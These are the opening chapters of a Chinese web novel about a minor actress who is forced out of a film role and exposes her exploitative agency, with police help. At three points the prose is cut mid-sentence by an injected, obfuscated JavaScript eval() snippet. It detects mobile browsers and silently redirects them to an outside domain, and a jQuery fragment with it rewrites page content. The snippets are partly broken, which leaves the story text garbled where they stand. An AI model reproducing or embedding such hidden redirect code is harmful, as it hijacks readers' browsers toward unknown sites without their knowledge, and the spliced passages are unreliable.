《糟糕!和对门共感了!》 1. 被踢 应璋看着面前的大大小小的碗碟,人都傻了。 不是,远处看着那么精致华美的菜,怎么是臭的? 作为一个十八线糊咖,应璋在剧组吃的最多的就是盒饭,盒饭,还是甜蜜的盒饭!鬼知道她试镜成功跻身女主的厨艺展示搭子是件多么不容易的事情! 只是没有人跟她说,这个号称投资几个亿的剧组连道具菜都是馊的啊? 她之前混在竖屏网剧里混饭吃时,那些道具菜都只是有点不好吃罢了,也没到馊到发臭啊?用这个拍戏,不怕招苍蝇吗? 就在应璋皱眉捂着鼻子在心里嘀咕时,几只大苍蝇飞了进来,绕着桌子嗡嗡嗡地飞了一圈又一圈。 “场务!场务!”导演气得吹胡子瞪眼,“怎么回事啊?还能把这么大的苍蝇放进来?” 场务们小跑着上前驱赶苍蝇,估计他们这辈子都没想过,连只苍蝇也不许放进来居然不是放狠话,而是纪实文学。 仿古建筑挑空高,空间也大,一群人忙碌半天也没能把苍蝇赶走。偌大的空间里苍蝇飞,场务跑,导演吼,演员叫的,热闹的不得了。 等到场务收拾明白苍蝇,导演的脸已经沉得能挤出水了。剧组开工架的那是设备吗?那是开闸乱冲的吞金兽,每一秒都有经费在燃烧。 大家纷纷收声,生怕撞在导演枪口上。华美的建筑里现在只有各种设备运作的声响。 “等下拍第十九场,侍女记得吃得香一点!”导演压着火开始讲戏,“要狼吞虎咽、大口大口地吃,明白吗?” 站在女主吕媛身后演侍女的丁笑闻言脸都白了,不住地给旁边的男二号韩枚使眼色。 “导演,这里让侍女吃是不是不太合适?”韩枚看了一眼吕媛,对应璋微微扬了扬下巴。 吕媛心领神会,立马开口劝道:“毕竟是侯府侍女,做不出当着主子面狼吞虎咽的事,但是小应演的侠女可以啊,不拘小节的。” 听着这些人你一言我一语地大声密谋,应璋白眼都要翻到后脑勺去了。 可能是应璋曾当着丁笑的面拒绝了韩枚共赏夜光剧本邀请的缘故,这两个人总是凑在一起给她使绊子,再加上一个莫名其妙抽风的吕媛,她在这部剧里的戏份已经少了一多半。 现在要吃臭道具了,又凑起来给她加戏,恶毒得有些浅薄了。 “也可以,应璋你吃,动作要大,情感要外放,懂不懂?”导员略略思考,便开始给应璋讲起戏来,“你要表现得像是这辈子都没吃过这么好吃的食物那样,浮夸一点也没关系。” 应璋:…… 导演改戏的样子像极了她做不会的选择题,不管是AB还是CD,只要选项有点意思,她都可以选。 作为一个十八线糊咖,娱乐圈不知名女演员,应璋除了听话也不能干别的了,只能硬着头皮去演。 场记打了板,这场被迫加戏的表演终于拉开帷幕。 应璋忍着恶心按照剧本的人设对着一桌臭了的食物大快朵颐,一边说台词一边演出吃得香甜的样子。毕竟她只是一个边角料角色,也没几个镜头,忍一忍很快就过去了。 不知道这三人组演技是太差,还是人品太差,短短一页半的剧情NG了一次又一次。应璋只能配合着吃了一遍又一遍,哪怕是镜头结束后就立马吐在一旁,这么多馊菜吃到嘴里也够恶心人的了。 “导演,我有点入不了戏。”吕媛眼珠一转,捂着鼻子对导演娇笑起来,“这菜都臭了,小应吃得不情不愿的,看她这样子我很难说服自己有超绝厨艺呀。” 丁笑闻音知意,立马接话:“就是,装模作样嚼两下就吐,连个吞咽镜头都没有。” “确实,怎么也要咽下去才行啊。”韩枚站直身体,居高临下地看着坐在桌边的应璋,笑容满是恶意。 导演皱眉:“她吃得镜头很好,不用重拍,你们几个记好自己的台词。” “导演的意思是我没有好好记台词?”韩枚假笑着的脸立马沉了下来,掀桌就走,“我背的是台词本又不是逐字稿,这么侮辱人,不拍了!” “我去看一下。” 吕媛急忙跟上,还不忘扯上丁笑。剩下应璋一个人和群演大眼瞪小眼。 导演的脸唰地一下红了,呼气声大得像是快要退休的风箱,哪怕是站在角落的工作人员都能感受到他的怒气。 整个拍摄场地的气氛怪得让人害怕,应璋弯腰躲在桌子下,抱着场务放在脚边的垃圾桶差点把胃呕出去。 “小王小顾,你们带小应出去缓缓。”导演狠狠搓了一把脸,勉强整理好情绪,开始调度片场,“场务把这边收拾一下,两组副导演带着群演去拍些素材。” 被两位主演摆了一道的片场又重新活络起来,应璋被人扶出房间时,导演还在发号施令,整个片场无论是否分到工作,都表现出一副很忙的样子。 再往后的事,应璋就不清楚了。毕竟等她缓过来从床上爬起来已经是第二天,脑海中关于前一天记忆也只剩在洗手间对着马桶吐出胆汁的零星片段。 抱着被子发了一会呆,应璋才慢腾腾地掏出手机,开始回复消息。 按理说她那么长时间没看手机,应该有很多消息才是,光剧组的几个群就能有99+,但是解锁之后只有几条她已经不是该群成员的通知。 应璋:? 不是吧?昨天导演还说她的镜头不错,让她下去休息,今天就被踢了? 应璋难以置信地退出重进,发现她真的被踢了,而且仔细看看时间,显示是在凌晨,可以说是连夜清退也不为过。 挠了挠头,应璋想找人问清楚,她一个十八线糊咖,除了一个制片助理,谁也联系不上。虽然大清早扰人清梦有点缺德,但她也想不出还能联系谁了。 对着手机敲敲打打半天,应璋终于编辑好了一套客气又礼貌的询问,但消息刚发出就收到了一个巨大的感叹号。 【对方开启了朋友验证,你还不是他(她)朋友。请先发送朋友验证请求,对方验证通过后,才能聊天。】 应璋:这号称投资几个亿的项目是不一样哈,这办事效率是真的高。 无奈之下应璋只能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14360221|152917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去剧组打听一下到底是怎么回事。 刚到剧组,应璋就撞上了趾高气昂的韩枚。 通常情况下,韩枚都是过了十一点才会出现在剧组的,现在才七点多,真是太阳打西边出来了。 “呦,这不是我们品行高洁演技超群的应大美女吗?”韩枚双手抱胸,下巴高扬,试图用五官演绎居高临下的气势,“怎么灰溜溜地滚出剧组了?” 由于韩枚并没有他千度千科上宣传的一米八大高个,所以他的动作和神情丝毫没有带给应璋压迫感。而韩枚自以为傲地扬下巴挑衅,让应璋的目光直直对上他的鼻孔。 有生以来应璋第一次这么痛恨过自己5.0的视力,她不仅清晰地看清楚了韩枚的鼻毛,还看到了他的鼻腔分泌物。 夭寿了,比昨天吃馊饭还让人作呕。 应璋连退三步的样子大大地满足了韩枚的虚荣心:“怕了吧?就算你已经拍了两个月,还不是要滚出这个剧组?” 应璋这才弄明白,原来是这个神经病搞的鬼。 “哼,你要是识相点,好好表现一下,嘿嘿嘿……”似乎想到什么高兴的事,韩枚笑得古怪又猥琐,挺了挺胯尖声道,“哄得小爷高兴了,说不定我会给你一个机会。” 看了一眼韩枚挺出来还是凹着的胯部,应璋无语地翻了个白眼。 谁说韩枚演技不行的?这演技可太棒了!谁路过看到了不想骂一句流氓无赖? “台词记不住一点,装腔作势倒是记了个全套!”应璋扫了一眼韩枚垫了超厚增高还是五五分的身材,嗤笑道,“还小爷呢?装什么啊?你拍了这么多剧有没有一部评分过6.0的啊?还给我一个机会,一想到和你出现在同一个镜头里,我就觉得晦气!” “你……”韩枚气急挥拳,口水横飞,“臭婆娘你胡说八道什么?” 稳稳抓住韩枚虚浮的手腕,应璋使劲一拧,大声嘲笑:“啧,就你这德行,我都不好意思说自己是正当防卫。” 韩枚被拧得龇牙咧嘴,疼得一时半会说不出话来。 瞅见不远处的慢慢靠近的人影,应璋也懒得再在这里磨蹭,甩开手就回酒店去了。 现在她还搞不太清楚情况,得和她经纪人好好聊聊。 应璋从小在武行长大,原本是在剧组做武替混口饭吃,后来被现在的经纪人汪继签到了铃戏传媒,成为了一名混迹剧组边角角色的小演员。 和公司签约的时候应璋年纪还小,和公司签的合约是底薪制加二八分成,她二。 不过那会应璋正是处于有一顿没一顿混日子的状态,铃戏传媒那份保底五千的合约对她来说还是很有吸引力的,二就二吧,她认了。 就算铃戏没想好好培养她,经纪人完全放养几乎不管她,她也凭借这份保底度过了那段最艰苦的时光,只要再熬六年,等到合约结束就好了。 “叮——” 手机发出脆响,有一条新消息,发件人是应璋的经纪人汪继。 【汪继:应璋,今天好好收拾一下,晚上八点来黑马会所给王老板庆生。】 2. 套话 这黑色的字真是越看越黄啊。 应璋反手就翻出经纪人的电话拨了过去,有时间安排酒局,没时间跟她讲剧组的变化安排是吧?到底谁是经纪人啊? 电话拨了三四遍,汪继一个也没接,看样子是打定主意不想搭理应璋了。 就在应璋思考着要不要直接杀回公司去踹汪继办公室的门时,好友莫伊倪的电话正好打了过来。 “璋宝!出大事了!我刚刚才弄清楚!”莫伊倪的怒火顺着信号砸来,听起来气得不轻,“韩枚的经纪人昨天上门和汪继谈置换,用你现在那个角色换白怜怜进《深海》演女五号!” “这帮混蛋!你这个角色明明是靠自己试镜得来的,这群人凭什么拿你辛苦争取来的机会给别人做资源置换?” 凭借过硬的拍照和后期技术,莫伊倪在铃戏的宣传部门一干就是好多年。应璋能签到铃戏,还是靠莫伊倪拍的那张小爆出圈的神图。 正是因为过硬的技术,莫伊倪在铃戏也有一些自己的消息渠道,昨天发生的事,今天一早就让莫伊倪打听个七七八八。 好友暴跳如雷,理论上讲,应璋应该先安抚好友,再想解决办法。但这已经不是普通的欺负人了,简直就是踩在应璋的底线上跳恰恰。 情绪上头的应璋和莫伊倪在电话里痛骂了半个小时的公司和汪继,直到讲得嘴巴都干了,两人才稍稍平复了激动的情绪。 “现在怎么办啊,璋宝……”莫伊倪叹了口气,声音非常萎靡。 “等会我去片场套套话,弄点证据,告剧组违约。”应璋想了想,决定从剧组这边下手,“不管韩枚那边跟几方许了什么好处,都跟我没有关系。” 这次应璋的片酬不算少,按照合同上林林总总的项目算下来也能有个六位数的收入。现在剧组已经是板上钉钉地违约了,她只需要再搜集一些证据,告剧组违约还不是易如反掌? “汪继本来就不喜欢你,你这样不把他得罪死了?”莫伊倪并不像应璋那样乐观,在铃戏工作了五六年的她深知这个公司里从上到下到底有多小肚鸡肠,“万一他们雪藏你怎么办?” “那就藏呗。”应璋满不在乎,“反正我才二十二,又不是不演戏就活不下去了。” “退一万步来说,这次违约金能赔我小一百万呢!等拿到这笔钱,我去读读书、找份工作也能过不是。” “也是哦……”莫伊倪被说动了,“不行回头咱去做自媒体,你当模特,我当摄影和后期。” “好!到时候还要仰仗我家妮妮!” …… 姐妹俩畅想了好一会未来,才依依不舍地挂断了电话。 应璋小心地把手机揣进胸前内层的口袋里,又用钥匙在镜头对应的布料上戳了几个小洞。 确保手机能录清楚前方的影像后,应璋这才大摇大摆地回到剧组去找当时和她签约的制片助理。 “你怎么来了?”制片助理显然没想到应璋还会出现在片场,神情颇为意外,“你经纪人没和你说吗?今天往后你可以不用来了。” “没有啊,我联系不上汪继了,打他的电话没有人接。” 应璋装作一无所知的样子,脆生生地把问题往外抛。 “我为什么不用来?当初不是您和我签的合同,让我在方堪导演这部《风月渡》中演侠女卢璇的吗?昨天导演还说我的镜头不错,怎么演着演着突然就不用我来了?” “哪有那么多为什么?”制片助理头都没抬,想来也没听清应璋说了什么,只是不耐烦的打发人走,“找找你自己的问题吧,这么多年有没有好好努力?” “我一直很努力啊!” 应璋据理力争。 “来《风月渡》之后,我从来没有迟到早退,也没有旷工惹事,拍出来的镜头导演也说不错,怎么就找我的问题了?” “那就是你得罪人了呗?主演就那么几个,谁什么态度你自己不知道啊?”制片助理终于舍得放下一直攥着的手机,抬起头来,“长着一张好脸,脑子怎么那么轴?傍上韩枚什么资源没有?你非得得罪他干什么。” 应璋提着的心稍稍放松,终于套出她想要的话了。 “那也是韩枚的问题,不是我的问题!剧组无故辞退我,不应该给我赔偿吗?” “赔偿?”制片助理伸手撵人,“韩枚那边都和你们谈好了,不然我不会删人的,走吧走吧走吧。” 应璋退了两步,确保逼近的制片助理能出现在镜头里:“又不是给到我个人的,赔偿的证据呢?” “什么证据不证据的。”制片助理不耐烦地抓抓头发,“不行你去告我吧,快去!” 等的就是这句话,应璋也没多纠缠,假意嘟囔几句就离开了。 刚离开制片助理的视线,应璋就掏出已经滚烫的手机,检查刚刚录下的视频。 还挺幸运的,画面和声音都很清楚。把视频存好,又上传到不同云端备份成功后,应璋这才理理衣服走出影视基地。 现在当务之急是找个靠谱律师拿到赔偿金。至于抽风公司和经纪人?无人在意好吗。 回到酒店美美睡了个回笼觉,应璋摸出充满电的手机,开始研究去哪找什么样的律师。 在各个平台翻了一圈又一圈后,看得脑子发蒙的应璋决定去地瓜网上发帖求助。 网友们的回复五花八门,应璋翻出本子逐条记录。 首先要选不保证胜诉的。 其次要选择自称在法院没有关系的。 再有就是选不太忙、且执业年限不太长的新律师,最好是六年以内的…… 一条条看过记过,好几个小时就这样过去了。就在应璋埋头苦学的时候,安静了一天的汪继开始疯狂给她打电话。 都准备打官司了,应璋也不想装乖,手机一丢捧着平板,当做没看见一样继续做笔记。 连着七八个电话无人接听后,汪继终于意识到打电话叫人这事行不通,转成短信轰炸。 【汪继:应璋!你人呢?不是让你八点来黑马会所吗?这都七点五十了你死哪去了?】 【汪继:《风月渡》的角色都没了,你还傲什么?接电话!】 【汪继:你今天要是不来,以后你别想再接一个通告!】 【汪继:回话!】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14360222|152917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【汪继:快接电话!】 【汪继:你还想不想在铃戏混了?】 【汪继:八点了,你还不来?等我亲自去接你?】 【汪继:你不在剧组?也不在公司宿舍?人呢?去哪了?】 【汪继:你最好立刻马上来黑马会所!】 记了满满三四页后,应璋才想起被自己丢在床上的手机。都不用解锁都能看到满屏的威胁和辱骂。 不过应璋也不在意。 论身手,她在武行长大,虽说不能以一当十,但像汪继这种长年泡在烟酒里的,她至少能打三个。 论资源,这二八分账的铃戏就没能给过她什么像样的资源,好点的是镶边花瓶,烂点的三级片也不是没塞过。 不过她也不算吃亏,被按着签字的时候把当时在房间里的所有人都揍了。也是从这次乱拳暴揍办公室事件后,铃戏再也没给她安排过任何资源,连镶边花瓶这样的角色也没有了。 而汪继威胁的找上门也没有用。公司安排的宿舍是八人间,生活稍稍富裕些后应璋就直接搬了出来,那会她已经和汪继闹僵了,自然不可能透露自己的真实住址。 现在她落脚的这个酒店也不是《风月渡》剧组定的,就算是汪继找到剧组也找不到她。 就在应璋打算放下手机时,屏幕上突然出现了莫伊倪的电话。 “璋宝!你千万别来黑马会所知道吗?”莫伊倪似乎在跑,呼啸的风把她的声音吹得断断续续,“我就知道汪继那个王八蛋不安好心,说什么让我过来帮你拍照,结果是设计你的局……” 应璋听着电话那头杂乱的声音,还有什么“抓住她”“别让她跑了”之类的背景音,心都提到了嗓子眼。 “妮妮,你尽量藏好,我这就过去接你!”应璋套上外套抓起包就往外冲,“我这就报警,你别怕。” “我报过警了……”莫伊倪喘得上气不接下气,“你不用过来,我躲进空包间反锁了。” 听这声音完全不像是在室内的样子,应璋只能先哄人:“你别挂电话,我好关注你的情况……” “你别过来,我听见你关门的声音了!”莫伊倪急了,“等警察过来还不知道要多久,你别犯傻!” “那我还听到你在室外跑的声音了呢!”应璋边怼边跑,丝毫没有停下脚步,“你先找个地方躲好!” “我……啊……” 电话那头传来短促的尖叫,随机就陷入了忙音,再打就是无法接通了。 应璋急得火冒三丈,偏偏打不到网约车,也拦不到出租车。 不知道过了多久,一辆银灰色的小车停了下来,一张隽秀的俊脸露了出来。 “您好,请问您是在拦车吗?” “对!”应璋连连点头,“您可以送我去工业园区吗?我可以付钱的!” 帅哥点头:“您上车吧,我稍您一程。” 应璋千恩万谢地上了车,一屁股坐在了副驾上。 “您要去哪里?” 帅哥看着利落绑绑带套指虎的少女,温和的声音有些变调。 “黑马会所。” 3. 威胁 应璋赶到时,莫伊倪正跌坐在门口的台阶上,腿上有血色隐隐从牛仔裤上透出,头发被一个高壮的男人扯着,看起来狼狈极了。 车还没完全停稳,应璋就推开车门冲了出去,对着壮汉的脸就是一拳。 壮汉吃痛,但是并没有松手,反而抓得更紧了。与此同时,不知道是会所还是哪里的保安也围了上来。 眼看着人群逼近,应璋也顾不上什么道德不道德,直接照着下三路招呼,怎么阴毒怎么下手,仗着灵活的身姿痛击敌人弱点。 莫伊倪虽然肩不能扛手不能提的,但脑子还算清醒,连滚带爬地靠近载着应璋来的车,也算远离了战场。 应璋虽然能打,但也没自信到觉得自己一个人围殴这群壮汉,边打边退地研究脱身时机。 但这并不容易,这群人能被雇来做这份工作,身上多少也是有几分能耐的。更何况男女之间不管是体能还是耐力都存在着客观差距,应璋想全身而退绝非易事。 好在警察来得快,感谢国家制定的出警到现场时间的规定。要是真像阿美莉卡那样来得随意所欲,那这会应璋就要进医院了。 呃……虽然现在大概率也要进的。 但是竖着进和横着进的差别可就太大了。 和这群自诩有背景逞强斗狠的人不一样,应璋早早跳出战斗圈双手高举并且把里面那群权色交易的给举报了。 配合工作的好公民是被搀扶进医院先做检查后做笔录的,而拒不配合的犯罪分子是要被拷进局子严加审问的。 所幸两人没什么大碍,应璋身上都是软组织挫伤,莫伊倪摔倒时腿被地上的石砖划破了,缝了两针。从急诊出来都不用再观察观察,就跟着警察一起回局里做笔录去了。 应璋有经纪人邀约威胁的全部证据,莫伊倪有察觉不妙用手机和运动相机录下的影音证据。警察还在包厢中发现了一些明令禁止的违法物品,这下不管是汪继,还是铃戏,都要吃不了兜着走了。 从警局出来已是凌晨,那个好心送应璋抵达战场的小哥也结束调查被放了出来,三个人在警局门口碰到时,应璋才想起这个被自己殃及池鱼的好心人,连忙掏出手机上前补救。 “实在不好意思,让你受了无妄之灾。”应璋很是惭愧,“之前说要给您车费的,要不这样,我给您包个红包,您给我个收款码。” 帅哥挠挠后脑勺,面上丝毫不见恼:“红包就不用了,就是那个……那个……我是做自媒体的,全平台有号,叫江水千里,我能不能把今晚这场风波发在我的平台上?我会给你打码的!” 应璋和莫伊倪对视一眼,这不是正瞌睡来了枕头? “可以可以!视频你随便发,红包我也照给,我来给你讲讲这件事的前因后果……”应璋从经纪人的邀约开始讲起,一直说到今天晚上的精彩才停。 江水千里原本带着困倦的双眼瞬间瞪得像铜铃:“我的天……这我真的可以说吗……” “当然可以!” 短短几分钟已经让混迹饭圈的莫伊倪想出了绝妙的营销点子。 “我刚刚看了你的账号,你最常用的平台是音符,就可以主要在这个平台发布,其他平台你要是顾得过来,也能发一发。” “好好好,我知道!不该发的我绝对不发!”江水千里点头如捣蒜,乖得像是听老师讲课的小学生。 “我看你粉丝量不大,所以开始你先放几秒打架的切片,本色出演一个不明真相的路人。” 被铃戏坑狠了的莫伊倪和应璋化身纯恨战士,脑子一转鬼点子一条接一条地往外冒。 应璋接秒懂好友的脑电波:“然后我们会找一些营销号放铃戏涉嫌违法乱纪的料,这种事情稍微推一推很快就能上热搜,到时候你再顺水推舟发后续内容。” “对,你甚至可以放零星模棱两可的料,再引流到你的直播间,吃下这一波泼天的流量。”莫伊倪坏笑,“你刚刚也拍了视频吧?我回头再整理一下给你添点素材。” “姐!你们也太娘们了!”江水千里激动得脖子都红了,“你们就是女人中的女人!雌性中的雌性!” 商定好了分工,江水千里把两人送到莫伊倪家后就离开了。 在情绪的催化下,应璋和莫伊倪熬了个通宵,又是爆料又是联系人帮忙的,一直忙到第二天早上才歇下。 而姐妹俩第二天醒来的时候已经是下午四点,劳顿又浑身是伤的俩人躺在床上半天都没能坐起来,身上的痛楚差点让她们原地关机。 应璋的身体素质比莫伊倪好,深呼吸缓了缓就摸出手机查看昨晚的战果。 打开大眼热搜,铃戏自己就占了三个。分别是#铃戏黑马会所##内鱼完了铃戏##铃戏群殴# 虽然能看出铃戏在努力压热度,但是广大吃瓜群众的力量是无穷的,在庞大的阅读量和点赞转发评论的助力下,这几个词条仍旧有着庞大的热度,稳稳占据了榜单中上游的位置。 [我的天,这是二十一世纪吗?这是发生在华国的事?] [我就说内鱼吃枣药丸吧] [不是,到底怎么回事?怎么就打起来了?] [这个女侠是谁啊?好猛,一个人群殴一群人!] [铃戏是什么公司?很出名吗?我怎么都没听说过?] [不是什么大公司,小作坊一个,最出名的艺人大概就是去年给耀祖生了六个儿子的那个女二了。] [真是庙小妖风大啊……那个女二叫啥来着?能算三线吗?] [……] 应璋刷了一会,发现不同词条的关注点不同。 黑马会所相关的基本都在讨论具体发生了什么,猜什么的都有,不过大致方向都在法纪相关这一块。内鱼词条下基本都在问铃戏是什么公司,或声讨糟糕的娱乐公司。群殴这里就比较热闹了,到处都是找瓜的猹。 江水千里那边也热闹得紧,几个片段放完后直播间预约量已经有10w+了,给孩子高兴的哐哐和两人发小作文。 按理说不管是应璋还是莫伊倪,此刻都应该被铃戏的消息轰炸才对,但风暴眼中心的两人的通讯和社交账号都安静得很,只有莫伊倪收到了几条催她交图的钉钉消息。 也不知道是铃戏被抓得人太多了,还是被网上的舆论弄得焦头烂额抽不出空,总之姐妹俩特别珍惜现在的悠闲时光,先点顿好吃的好好犒劳自己再说其他。 连轴转的工作了这么长时间,又被铃戏狠狠折腾了一通,应璋和莫伊倪这几天都在报复性休息——每天睡到中午才起床,醒了就吃吃喝喝,顺便去给江水千里的直播间增加一点点浏览量。 不过这样的好生活也没有维持几天。 跟清闲的姐妹俩不一样,铃戏上上下下忙得团团转。调查的调查,保释的保释,狠狠折腾了几天后,终于能喘口气了。 汪继和一些艺人管理人员虽然还没有放出来,但是能回到公司的人已经迫不及待要找两人算账了。 应璋还好,汪继没出来也没有其他人来骚扰她。莫伊倪就惨了,每天催她修图拍照的人能手拉手估计能绕她家公寓楼三圈。 按理说莫伊倪一个三年都没涨过工资的底层员工不应该有这种强度的工作量,但自从她拍出两张出圈神图之后,公司里大大小小的艺人都想让她给自己复刻同款神图。 这已经不是巧妇难为无米之炊了,这群人不仅没有米,甚至连炊具也没有。 想拍出好照片,妆造、场地、灯光缺一不可,铃戏什么都不准备就算了,还带着一个又一个满脸崎岖的艺人,想卡个好看的角度都费劲,哪来的神图? 但是大家似乎都对自己的长相和定位没有什么清晰的认知,所以只能拼命为难普通员工。 应璋刚到公司就被几个穿西装的人带到了会议室,每个人都拿着一个看起来分量不轻的文件夹,滑稽得让应璋差点笑出声来。 草台班子,出事了才知道搞正式点。 “应璋,你好,我是铃戏的法务贾道仪。”坐在长桌左侧中间的男人开口道,“最近公司遇到的事想来你也听说了……” “什么事啊?我听谁说了?”应璋才不想给这个面子,“我经纪人联系不上,公司也没给我安排助理和团队,我还想找你们呢。” 贾道仪愣了一下,下意识反问道:“问我们什么?” “我自己试镜进的《风月渡》,剧组说公司跟他们讲不用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14360223|152917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我去了,赔偿给到公司,我赔偿呢?”应璋双手抱胸,九分真一分假地岔开话题,“签了公司没有资源就算了,怎么我自己争取来的也要抢啊?” 此言一出,会议室的几位都面面相觑起来。 这场鸿门宴本是为了把锅甩到应璋身上而设的,谁知道人虽然来了,说的却是他们都不知道的事情。 “咳……”坐在贾道仪旁边的中年男人清了清嗓子,开始争夺谈话主导地位,“我们不是你的经纪人,对这些事情并不清楚,等回头小汪出来了,让他和你讲。” “哦?”应璋冷笑,“和我讲什么?解约吗?” “也不是不行。”贾道仪摊开文件夹,装模做样的翻看片刻,故作惊讶的开口道,“我刚刚看了一下您的合同,您解约的话需要赔偿铃戏公司管理费、服装费、培训费等各项开支共计四百一八万七千元,还有违约金八百万,共计一千二百一十八万零七千元……” 人在极度无语的时候是会笑出来的。 “什么开支?有发票收据吗?有我的签名吗?怎么证明是用在我身上的?”应璋勾着嘴角,直勾勾地盯着贾道仪,“法务大人,您这上下嘴皮子一碰就是四百多万,真是金口啊——” 到底是在剧组混了几年的人,这阴阳怪气的话从应璋口中说出,听起来竟也有着几分诚恳。 不过总有人听不出这藏在诚恳下的情绪,坐在贾道仪身后的女生“腾”地一下站起来,愤愤不平地替贾道仪抗议起来。 “什么叫上下嘴皮子一碰?你没有上过演技课、舞蹈课、声乐课吗?” “没有啊。”应璋抬头和女生对视,“你有我上课的证据?” 女生气得攥拳:“我……我是没有,但是公司肯定会有的!” “公司也没有。”应璋嗤笑,“签完合同当天,汪继让我陪他喝酒,我没答应,他就取消了我所有的资源。” “这……这不可能……”女生咬牙反驳。 应璋翻了个白眼:“那你去找证据吧,找到证据我就认!” “够了,小亚。”贾道仪示意女生不要吵,轻轻敲了敲桌面,“应小姐,就算您不承认公司培养您的开销,违约金可是合同上白纸黑字写的,您总不能不认吧?” “合同是写了违约金,是不是还写了甲乙双方的责任和义务?该我做的我都做了,让我配合的我也配合了,不知道公司这边,有没有好好履行合约呢?” 双方你来我往的纠字眼,围绕着合同吵了好几轮。 最后坐在贾道仪旁边的中年男人坐不住了,不顾贾道仪的眼色和阻拦直接开口。 “*****,你别装了,这次公司被查你**的要付全责你知道吗?” “要不是你***惹是生非,我们至于进局子吗?你***的吃公司的用公司的,***到头来还这么坑公司!” “现在好了,那么多合作没了,账务税务都被查,还得罪了王总……” “哦,是吗。” 应璋不咸不淡的应了一声,实在懒得跟这种人吵。对方气急败坏地自爆实在没什么营养,脑子都没长,说了也听不懂。 给中年男人气得又是一连串国骂。 贾道仪几人又是劝又是哄,好不容易哄得中年男人消停了下来。 “应小姐,我们不要绕弯子了,咱们开门见山直接说。”贾道仪深呼吸,“你这边出和解书,对公众说你是为了炒作博出位编造了这一切,我们就无条件和你解约,怎么样?” “无条件?这不是一堆条件吗?” 应璋简直叹为观止,这种人也能当法务? “算盘珠子都崩我脸上了,还装清纯好人呢?收一收吧!” 贾道仪举起手机,继续诱哄道:“莫伊倪已经同意和解了,你这边又何必苦苦坚持,有什么意义呢?” 怎么可能? 应璋根本不信,信莫伊倪同意和解?还不信她是秦始皇! “没什么好谈的,走了。”应璋起身打算走人。 “听说你很能打?”贾道仪笑容阴恻恻的,“能打也没有用,这个门已经锁死了,你要是不配合说这一切都是你策划用来炒作的,今天就别想出这个门!” 4. 雪藏 看着女生小跑拦门的身影,应璋白眼都要翻到后脑勺去了。 一屋子男的缩在会议室里侧不敢过去拦门,让个小女生冲在前面? 应璋一边操作快捷键把提前编辑好的报警短信发送出去,一边悠闲地开口挑拨离间。 “知道我能打,还只让一个小姑娘拦门?你们是真不怕我把她打坏了?嗯?” 女生怕的整个人都在抖,应璋甚至听到了她牙齿颤栗互相碰撞发出的“咯咯”声。 啧,不会被吓哭吧? 应璋没什么愧疚心,可是也有一点喽。[1]想了想又道:“还是说,你们觉得我打了她,就不会打你们了?” 贾道仪被应璋盯得往后缩了缩,人都怂成一团了,嘴还是硬的:“小亚!你别听她的!她不敢的!” 不知道是不是得益于贾道仪开得这个好头,其余人似乎也壮起了胆子,纷纷开了尊口。 “我们这么多人,还能怕她一个?” “这可是铃戏的办公区,这几层都是我们的人,她不敢的。” “小亚你把门拦好了,我们今天非让她签下和解书不可!” “就是就是,小亚你好好守门,等这次风波过去了,我让人给你提前转正!” 说得很热闹,就是没有一个人肯往前一步靠近门口,全都离得远远的。 这出滑稽戏看得应璋直摇头,实习生可真好用啊,随便哄哄就能指哪打哪。 僵持没多久,门外响起一道中气十足的男声。 “开门,人民街派出所警察。” 应璋咂咂嘴,市区就是好,报警后警察到的也快。 会议室的众人愣了片刻,躲在最后的中年男人破口大骂:“滚你******!少在这里给老子*****装腔作势*****……” “开门!我是民警石平松,有人举报你们非法拘禁!”门外的民警显然也是被骂生气了,声音也带上了几分怒意,“门里的人请配合警方工作!” 中年男人嘴上仍不干不净的:“放*****!哪有什么……” 警察警告数次,屋里的这群人仍拒不配合。很快门就从外面被暴力破开了,守在门边的小亚被直接被撞得跌坐在地上。 看着涌入的警察,应璋赶紧举手告状。 “警察同志!我是报案人!”应璋抓紧时间给这群人扣帽子,“这群人逼我作伪证,我不签就把我锁在这里不让走!我有证据,我录视频了!” 应璋从口袋翻出莫伊倪出门前帮她藏好的运动相机,连接手机给警察情景再现。 这群人以为她会发狠打人?还想把她关在房间强行安排罪名?笑死,这可是法治社会诶! 现场无人受伤,警察试图进行现场调解。但无奈铃戏的蠢材们被捧惯了,无知又傲慢,不仅放声辱骂,还试图抢夺运动相机并对警察动手。 这下不管非法拘禁能不能做实,袭警是板上钉钉了。 警察羁押几人离开时,应璋还带着他们顺路解救了被关在另一个会议室的莫伊倪。 从铃戏出来后,莫伊倪气得火冒三丈,坐在地铁上就开始剪素材,誓要把铃戏的丑恶嘴脸展现给公众。 